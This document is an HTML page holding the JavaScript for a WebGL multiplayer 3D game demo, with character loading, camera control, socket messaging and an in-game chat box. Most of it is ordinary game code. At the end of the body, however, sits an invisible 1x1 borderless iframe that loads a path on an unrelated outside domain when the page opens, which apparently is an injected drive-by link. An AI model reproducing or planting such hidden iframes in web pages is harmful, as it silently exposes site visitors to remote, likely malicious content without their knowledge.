<html>
<head>
<meta http-equiv="cache-control" content="no-cache, must-revalidate"/>
<meta http-equiv="Expires" Content="Mon, 25 May 2009 19:07:03 GMT">
<link rel="stylesheet" type="text/css" href="mycss.css" />
<script type="text/javascript" src="../../src/gew.js"></script>
<script type="text/javascript" src="Character.js"></script>
<script type="text/javascript">
///////////////////////////////////////////////////////////////////////////////////////
// Global variable
var my_player = null;
var players = {};
var testScreenIdx = 0;
var elapseMls = 0;
var frameCount = 0;
const HOUSE_BIT     = 1;
const CHARACTER_BIT = 1<<1;
function myPhysicCallBack(body1,body2,normal)
{
  /*
  var character = body1.userData? body1.userData:body2.userData;
  //console.log(normal);
  character.isCollide = true;
  character.collideNormal.set(normal.x,normal.z);
  //character.stand();
  */
}
function updateTextBoxPosByPlayer(player)
{
  var text_box = document.getElementById(player.name+"_text_box");
  if (text_box&&text_box.style.visibility) {
    var screen = activeGame.screens[0];
    var pos = player.node.getPosition();
    pos.y=player.node.worldAabb.max.y;
    var point = transformWorldToCanvas(pos, screen.camera,screen.scene3d.viewProjectMat);
    var canvas = activeGame.canvas;
    var left = canvas.offsetLeft;
    var top = canvas.offsetTop;
    text_box.style.left = point.x + left;
    text_box.style.top = (point.y + top - 20);
  }
}
function displayChat(player_name,context)
{
  var player;
  var loading_div = document.getElementById("loading_div");
  for(var i in players)
  {
    if(players[i].name==player_name)
    {
      player = players[i];
    }
  }
  var text_box = document.getElementById(player.name+"_text_box");
  if(!text_box)
  {
    var text_box = document.createElement("div");
    text_box.id = player.name+"_text_box";
    text_box.style.position = "absolute";
    text_box.style.backgroundColor = "white";
    text_box.style.opacity = "0.5";
    text_box.style.border = "1px solid black";
    //text_box.style.maxWidth = 150;
    text_box.disabled = true;
  }
  text_box.textContent = context;
  if(text_box.style.visibility=="visible")
  {
    clearTimeout(player.timer);
  }
  else
    text_box.style.visibility = "visible";
  updateTextBoxPosByPlayer(player);
  loading_div.appendChild(text_box);
  player.timer =  setTimeout( function(){
    var text_box = document.getElementById(player.name+"_text_box");
    text_box.style.visibility = "hidden";
  },4000);
}
function MyScreen(game)
{
  gewScreen.call(this, game);
  this.scene3d = new gewScene3D(this.game,                    
                                2048,2048,
                                1024,64,
                                true);
  this.physicsEngine = new gewPhysicsEngine(game,this.scene3d);
  this.physicsEngine.collisionCallBack = myPhysicCallBack;
  this.createUrban = function(name,isMainCharacter)
  {
    var rmanager = this.game.resourceManager;
    if(isMainCharacter)
      var urbanN = new gewAnimatedMeshNode(name,true);
    else
      var urbanN = new gewAnimatedMeshNode(name);
    urbanN.addMaterial(this.urbanM);
    urbanN.addMaterial(this.shadowM);
    urbanN.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(urbanN);
      
    var body = this.physicsEngine.addRigidBody(urbanN, false,3, 1);
    var character = new Character(this,urbanN, this.scene3d.heightMap ,body);
    return character;
  }
  this.onTick = function(mls)
  {    
    var gl = this.game.gl;
    gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
    this.scene3d.render();
    this.physicsEngine.onTick(mls);
    for(var i in players)
    {
      players[i].onTick(mls);
      updateTextBoxPosByPlayer(players[i]);
    }    
    this.scene3d.postProcessing();
    elapseMls += mls;
    frameCount++;
    if (elapseMls >= 2000) 
    {
      var fps = (frameCount / (elapseMls/1000)).toFixed(2);
      document.getElementById("fps").innerHTML = "Frame Rate:" + fps;
      elapseMls = 0;
      frameCount = 0;
    }
    //var canvas_point = transformWorldToCanvas(my_player.node.position, this.camera, this.scene3d.viewProjectMat);
    //console.log(canvas_point.x+","+canvas_point.y);
  }
  this.onActive = function()
  {
    var game = this.game;
    var gl = this.game.gl;
    var scene3d = this.scene3d;
    var root = scene3d.root;
    var rmanager = this.game.resourceManager;  
    
    ///////////////////////////////////////////////////////////////
    // Connect to server
    var socket = new gewSocket("192.168.1.10",5010);
    socket.onOpenCallbackFunc = function(){
      socket.send("0"); 
      
      setInterval(function() {
        if (socket.getBufferedAmount() == 0)
          socket.send("9");
      }, 20);

    };
    socket.onCloseCallbackFunc = function(){
      alert("Error: Can't connect to server");
    }
    socket.onMessageCallbackFunc = function(event){
      var str = event.data;
      var infos = str.split('\r\n');
      switch(infos[0]){
        case '0':
          players[infos[1]] = my_player;
          var id_str = infos[1].substring(5,infos[1].length);
          var id = parseInt(id_str);
          if(id%2==1)
          {
            var screen = activeGame.screens[0];
            my_player.isGirl = true;
            my_player.node.setMesh(activeGame.resourceManager.getMesh("girlMesh"));
            my_player.node.removeMaterial( screen.urbanM);
            my_player.node.addMaterial( screen.girlM);
            my_player.stand();
          }
          my_player.node.setVisible(true);
          my_player.name = infos[1];
          break;
        case '3':
          var chat_text_area = document.getElementById("chat_text_area");
          var str = infos[1]+":"+infos[2]+"\n";
          chat_text_area.value+=str; 
          displayChat(infos[1],infos[2]);
          break;
        case '9':
          var char_num = Math.round((infos.length-2)/4);
          for(var i =0;i<char_num;i++)
          {
            var name = infos[1+i*4];
            if( my_player.name==name)
              continue;
            if( players[name]==undefined )
            {
              var id_str = name.substring(5,name.length);
              var id = parseInt(id_str);
              var character = activeGame.screens[0].createUrban(name+"_node");
              if(id%2==1)
              {
                var screen = activeGame.screens[0];
                character.isGirl = true;
                character.node.setMesh(activeGame.resourceManager.getMesh("girlMesh"));
                character.node.removeMaterial( screen.urbanM);
                character.node.addMaterial( screen.girlM);
              }
              players[name] = character;
              
              var pos_str = infos[1+i*4+2];
              var pos_ele = pos_str.split(";");
              var x = parseFloat(pos_ele[0]);
              var z = parseFloat(pos_ele[2]);
              character.setPositionXY(x,z);
              character.stand();
              character.name = name;
            }
            var player = players[name];
            var state = infos[1+i*4+1];
            if(state=="1")
            {
              var target_str = infos[1+i*4+3];
              var target_ele = target_str.split(";");
              var x = parseFloat(target_ele[0]);
              var y = parseFloat(target_ele[1]);
              player.moveTo(x,y);
            }
          }
          break;
      }
    }
    socket.connect();
    this.socket = socket;
    
    ///////////////////////////////////////////////////////////////
    // Create addition UI
    var canvas = game.canvas;
    var left = canvas.offsetLeft;
    var top = canvas.offsetTop;
    var loading_div = document.getElementById("loading_div");
    var chat_box = document.createElement("input");
    chat_box.type = "text";
    chat_box.id = "chatbox";
    chat_box.style.position = "absolute";
    chat_box.style.left = 10+left;
    chat_box.style.top  = 440+top;
    chat_box.style.backgroundColor = "white";
    chat_box.style.opacity = "0.6";
    chat_box.style.width = 250;
    chat_box.onkeydown = function(event){
      if( (event.which && event.which == 13) || 
          (event.keyCode && event.keyCode == 13))
      {
        var chat_box = document.getElementById("chatbox");
        var chat_text_area = document.getElementById("chat_text_area");
        socket.send("3\r\n"+my_player.name+"\r\n"+chat_box.value);
        displayChat(my_player.name,chat_box.value);
        var str = my_player.name+":"+chat_box.value+"\n";
        chat_text_area.value+=str;
        chat_box.value = "";
      }
    }
    loading_div.appendChild(chat_box);
    
    
    var chat_text_area = document.createElement("TEXTAREA");
    chat_text_area.id = "chat_text_area";
    chat_text_area.style.position = "absolute";
    chat_text_area.style.left = 10+left;
    chat_text_area.style.top  = 340+top;
    chat_text_area.style.backgroundColor = "white";
    chat_text_area.style.opacity = "0.6";
    chat_text_area.style.width = 250;
    chat_text_area.style.height = 99;
    chat_text_area.style.border = 0;
    chat_text_area.disabled = true;
    loading_div.appendChild(chat_text_area);
    ///////////////////////////////////////////////////////////////
    // Create Effect
    var shadowE = scene3d.getEffect("CSMEffect");
    var phongSkinnedE = new gewPhongSkinnedEffect(game);
    
    scene3d.addEffect(phongSkinnedE,4);
    
    var particle_effect = new gewParticleEffect(game);
    scene3d.addEffect(particle_effect);
    ///////////////////////////////////////////////////////////////
    // Create Material
    var urbanM = new gewPhongMaterial(phongSkinnedE,"urban");
    urbanM.texture = rmanager.getTexture("urbanTex");
    urbanM.ambient = new gewVec3(0.7,0.7,0.7);
    urbanM.specular = new gewVec3(0.4,0.4,0.4);
    urbanM.shininess = 2;
    
    var girlM = new gewPhongMaterial(phongSkinnedE,"girl");
    girlM.texture = rmanager.getTexture("girlTex");
    girlM.ambient = new gewVec3(0.6,0.6,0.6);
    girlM.diffuse = new gewVec3(0.8,0.8,0.8);
    girlM.specular = new gewVec3(0.2,0.2,0.2);
    girlM.shininess = 10;
    
    var shadowM = new gewCSMMaterial(shadowE,"shadow_skinned");
    shadowM.type = GEW_SHADOW_SKINNED_MESH;
    //shadowM.type = GEW_SHADOW_MESH;
    this.urbanM = urbanM;
    this.girlM = girlM;
    this.shadowM = shadowM;
    
    var particle_material = new gewParticleMaterial(particle_effect,"rain_mat");
    particle_material.type = GEW_PS_STREAK;
    this.particleMaterial = particle_material;
    var fire_material = new gewParticleMaterial(particle_effect,"fire_mat");
    fire_material.type = GEW_PS_SPRITE2D;
    fire_material.spriteTexture = rmanager.getTexture("particle_tex");
    this.fireMaterial = fire_material;
    ///////////////////////////////////////////////////////////////
    // Create character      
    this.character = this.createUrban("main_character",true);
    this.character.setPositionXY(-200,-200);
    this.character.stand();
    this.character.node.setVisible(false);
    my_player = this.character;
    
    var camera_system = scene3d.camera_system;
    // init camera
    var cam = camera_system.createCamera(gewThirdPersonCamera, root, this.character.node);
    this.camera = cam;
    cam.setAspectRatio(game.width / game.height);    
    //cam.setPitch(-GEW_MATH_PI / 4);
    cam.setFov(60.0);
    cam.setNear(0.5);
    cam.setFar(1000,100);
    cam.setViewport(0, 0,game.width, game.height);
    camera_system.setActiveCamera(cam);
    
    //////////////////////////////////////////////////
    // Create static soldiers 
    this.staticSoldiers = [];
    var s1 = new gewAnimatedMeshNode(name);
    s1.addMaterial(this.urbanM);
    s1.addMaterial(this.shadowM);
    s1.setMesh( rmanager.getMesh("urbanMesh") );      
    var jeep1 = this.scene3d.getNodeByName("j1_1");
    jeep1.appendChild(s1);    
    s1.setAnimation( CHARACTER_ANIMATION.SITTING);
    s1.setFrame(3);
    s1.pause();
    this.staticSoldiers.push(s1);
    var s2 = new gewAnimatedMeshNode(name);
    s2.addMaterial(this.urbanM);
    s2.addMaterial(this.shadowM);
    s2.setMesh( rmanager.getMesh("urbanMesh") );    
    jeep1.appendChild(s2);    
    s2.setAnimation( CHARACTER_ANIMATION.SITTING);
    s2.setFrame(4);
    s2.pause();
    this.staticSoldiers.push(s2);
    var s3 = new gewAnimatedMeshNode(name);
    s3.addMaterial(this.urbanM);
    s3.addMaterial(this.shadowM);
    s3.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(s3);        
    s3.setAnimation( CHARACTER_ANIMATION.SITTING);
    s3.setFrame(2);
    s3.pause();
    s3.setPositionXYZ(-252.21, 3.44, -260.96);
    s3.setRotateXYZ(0,1,0,40);
    this.staticSoldiers.push(s3);
    var s4 = new gewAnimatedMeshNode(name);
    s4.addMaterial(this.urbanM);
    s4.addMaterial(this.shadowM);
    s4.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(s4);         
    s4.setAnimation( CHARACTER_ANIMATION.SITTING);
    s4.setFrame(0);
    s4.pause();
    s4.setPositionXYZ(-238.84, 3.28,-302.8);
    s4.setRotateXYZ(0,1,0,-80);
    this.staticSoldiers.push(s4);
    var s5 = new gewAnimatedMeshNode(name);
    s5.addMaterial(this.urbanM);
    s5.addMaterial(this.shadowM);
    s5.setMesh( rmanager.getMesh("urbanMesh") );  
    this.scene3d.root.appendChild(s5);       
    s5.setAnimation( CHARACTER_ANIMATION.SITTING);
    s5.setFrame(1);
    s5.pause();
    s5.setPositionXYZ(-239.58,3.3,-305.16);
    s5.setRotateXYZ(0,1,0,-75);
    this.staticSoldiers.push(s5);
  },
  this.init = function()
  {
    var game = this.game;
    var gl = this.game.gl;
    var scene3d = this.scene3d;
    var root = scene3d.root;
 
    var rmanager = game.resourceManager;
    rmanager.startBlockCallback = function mystart()
    {
    } 
    rmanager.endBlockCallback = function myend()
    {
      var loading_div = document.getElementById("loading_div");
      var text_area = document.getElementById("loading");
      loading_div.removeChild(text_area);
    } 
    rmanager.startDownloadItemCallback = function mystart(item)
    {
      var text_area = document.getElementById("loading");
      if(text_area.itemCount==undefined)
        text_area.itemCount=0;
      text_area.itemCount++;
      if (text_area.itemCount == 20) {
        var lines = text_area.textContent.split('\n',1);
        var first_line = lines[0];
        var new_str = text_area.textContent.slice( first_line.length+1, text_area.textContent.length );
        text_area.textContent = new_str;
        text_area.itemCount--;
      }
      text_area.textContent+= "Downloading "+item.name+"..\n";
    }    
    rmanager.finishDownloadItemCallback = function myfinish(item)
    {      
    }
    ///////////////////////////////////////////////////////////////
    // Load character
    var urbanTexParam = new gewTextureParameter(gl.LINEAR,gl.LINEAR_MIPMAP_LINEAR,gl.REPEAT,gl.REPEAT);    
    rmanager.load("urbanTex", "Resource/urban.jpg",true,true,gl.RGB,urbanTexParam,true,true,false);
    rmanager.load("urbanMesh","Resource/urban.sam1",true,true,true);
        
    rmanager.load("girlTex", "Resource/girl.jpg",true,true,gl.RGB,urbanTexParam,true,true,false);
    rmanager.load("girlMesh","Resource/girl.sam1",true,true,true);            
    
    var physicsEngine = this.physicsEngine;
    rmanager.load("tropical_json","trop15.gsg",true,true,scene3d,physicsEngine);
    rmanager.load("particle_tex","Resource/Particle.png",true,true,gl.RGBA,urbanTexParam,true,true,true);
  }
  this.isDrag = false;
  var filter = this.scene3d.filters.levelFilter;
  filter.inBlack = 0.0;
  filter.inWhite = 229.0;
  filter.inGamma = 1.0;
  filter.outBlack = 0.0;
  filter.outWhite = 255.0;
 
  this.onMouseDown = function(e)
  {
    document.activeElement = this.game.canvas;  
    var ray = getPickingRay(e.canvasX,e.canvasY,this.camera,this.scene3d.inverseViewMat);
    var heightmap = this.character.heightMap;
    var pos = ray.colisionWithHeightMap(heightmap ,40,5,0.05);
    if(!e.altKey&&!e.ctrlKey)
      this.character.moveTo(pos.x,pos.z);
    this.camera.onMouseDown(e);
  }
  this.onMouseMove = function(e)
  {
    this.camera.onMouseMove(e);
  }
  this.onMouseUp = function(e)
  {
    this.camera.onMouseUp(e);
  }
  this.onMouseWheel = function(e)
  {
    this.camera.onMouseWheel(e);
  }
  this.onKeyDown = function(e)
  {    
    this.camera.onKeyDown(e);
  }
  this.onKeyPress = function(e)
  {   
    this.camera.onKeyPress(e);
  }
  this.onKeyUp = function(e)
  {
    this.camera.onKeyUp(e);
  }
}

function main()
{
  var game = new gewGame("cavans_id");
  var blackScreen = new MyScreen(game);
  game.addScreen(blackScreen, testScreenIdx);
  game.setScreen(testScreenIdx);
  blackScreen.init();
  setInterval(function()
  {
    game.run()
  }, 1);
}
</script>
</head>
<body onload="main()" oncontextmenu="return false">
  <div style="text-align: center">
    <!-- this is the canvas that we render to -->
    <canvas id="cavans_id" width="640" height="480"></canvas>
    <!-- a convenient div to use to display log messages -->
    <div id="fps"></div>
  </div>
  <div id="loading_div">
    <textarea class="loading_area" id="loading" disabled=true></textarea>
  </div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>                  